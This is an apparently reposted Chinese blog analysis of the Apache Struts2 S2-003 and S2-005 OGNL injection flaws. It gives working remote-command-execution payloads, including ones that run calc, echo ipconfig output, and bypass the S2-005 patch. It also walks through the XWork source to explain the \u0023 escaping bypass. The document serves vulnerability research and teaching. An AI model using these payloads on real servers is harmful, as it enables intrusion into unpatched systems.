【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

栏目: Struts · 发布时间: 7年前

内容简介:漏洞信息页面:漏洞成因官方概述:XWork ParameterInterceptors bypass allows OGNL statement executions2-003漏洞的payload用到了特殊字符,在高版本tomcat中会失败,需要使用tomcat6来测试。我使用的是6.0.9版本。此外导入的struts版本为2.0.11.2

S2-003

漏洞信息

漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-003

漏洞成因官方概述:XWork ParameterInterceptors bypass allows OGNL statement execution

漏洞影响:

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

环境搭建

s2-003漏洞的payload用到了特殊字符,在高版本tomcat中会失败,需要使用tomcat6来测试。我使用的是6.0.9版本。此外导入的struts版本为2.0.11.2

漏洞利用

POC:

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

回显:

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

漏洞分析

在struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:177 获取到我们传入的参数

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

getValueStack 之前,执行了一些初始化操作,比如:

OgnlContextState.setDenyMethodExecution(contextMap, true);

xwork.MethodAccessor.denyMethodExecution 设置为 true 。为了能够调用方法,需要在poc中的第一部分将 denyMethodExecution 设置为 false ,之后才能任意代码执行。

跟入 setParameters(action, stack, parameters); 至 struts/struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:201。此部分开始通过迭代器取出一个个传入的参数,并进行处理。

假设此时我传入的参数如下,注意这个与poc的不同在于,我将第一个 \u0023 替换成了 # 。:

('#context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

跟入 acceptableName 至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:271

protected boolean acceptableName(String name) {
        if (isAccepted(name) && !isExcluded(name)) {
            return true;
        }
        return false;
    }

跟入 isAccepted(name)

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

这里通过简单的正则表达式 [\p{Graph}&&[^,#:=]]* 来检测,防止传入恶意特殊字符开头如 # 等。因此 acceptableName 返回false,接下来的ognl表达式自然也不会执行了。

if (acceptableName) {
    Object value = entry.getValue();
    ...
}

但如果传入经过编码后的payload。 # 对应的unicode为 \u0023 ,八进制为 \43 ,则可以绕过上述的检测,也即导致 acceptableName 为true,从而进一步执行。

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

在设置 denyMethodExecution 为false后,poc的第二部分就是通过方法调用来执行任意命令了:

('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

S2-005

漏洞信息

漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-005

漏洞成因官方概述:XWork ParameterInterceptors bypass allows remote command execution

漏洞影响:

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

漏洞分析

S2-005的出现时因为官方对S2-003的修补的不完全导致的。官方通过增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.den

yMethodExecution)等来修补。但同样的直接使用上面的技巧,更改poc为:

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

即可设置 allowStaticMethodAccess 为true,和 denyMethodExecution 为false,从而导致任意命令执行。可以参考 Struts2漏洞分析与研究之S2-005漏洞分析CVE-2010-1870: Struts2/XWork remote command execution 。其余的代码调用等,与S2-003相同,分析见上。

ognl的解析

一个问题,为什么 \u0023 形式的poc能够被解析呢?

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

跟入 setValue 至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlValueStack.java:170

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

跟入 OgnlUtil.setValue ,struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/util/OgnlUtil.java:185

public static void setValue(String name, Map context, Object root, Object value) throws OgnlException {
        Ognl.setValue(compile(name), context, root, value);
    }

此处name即我们传入的参数 (\u0023... ,跟入 compile 中的 o = Ognl.parseExpression(expression); :

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

public static Object parseExpression( String expression ) throws OgnlException
    {
        try {
            OgnlParser parser = new OgnlParser( new StringReader(expression) );
            return parser.topLevelExpression();
        }

topLevelExpression 就开始了进行语法分析工作。在获得 ( 的token为44后,接着进行 expression(); 的解析。

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

在其中会调用到 ognl/JavaCharStream.java 的 readChar 。其中代码摘取部分如下:

public char readChar() throws java.io.IOException
{
    ...
    char c;

    if ((buffer[bufpos] = c = ReadByte()) == '\\')
    {
    ...
    int backSlashCnt = 1;

    for (;;) // Read all the backslashes
    {
        try
        {
            if ((buffer[bufpos] = c = ReadByte()) != '\\')
            {
                UpdateLineColumn(c);
                // found a non-backslash char.
                if ((c == 'u') && ((backSlashCnt & 1) == 1))
                {
                if (--bufpos < 0)
                    bufpos = bufsize - 1;
                break;
                }

                backup(backSlashCnt);
                return '\\';
            }
        }
        ...
    }

读取 \ ,并在之后如果遇到了 u 则进一步处理:

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005

从而把 \u0023 转换成了 # 。之后执行ognl表达式时即执行 "#context[\'xwork.MethodAccessor.denyMethodExecution\']=false"

【struts2 命令/代码执行漏洞分析系列】S2-003和S3-005


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Practical Vim, Second Edition

Practical Vim, Second Edition

Drew Neil / The Pragmatic Bookshelf / 2015-10-31 / USD 29.00

Vim is a fast and efficient text editor that will make you a faster and more efficient developer. It’s available on almost every OS, and if you master the techniques in this book, you’ll never need an......一起来看看 《Practical Vim, Second Edition》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具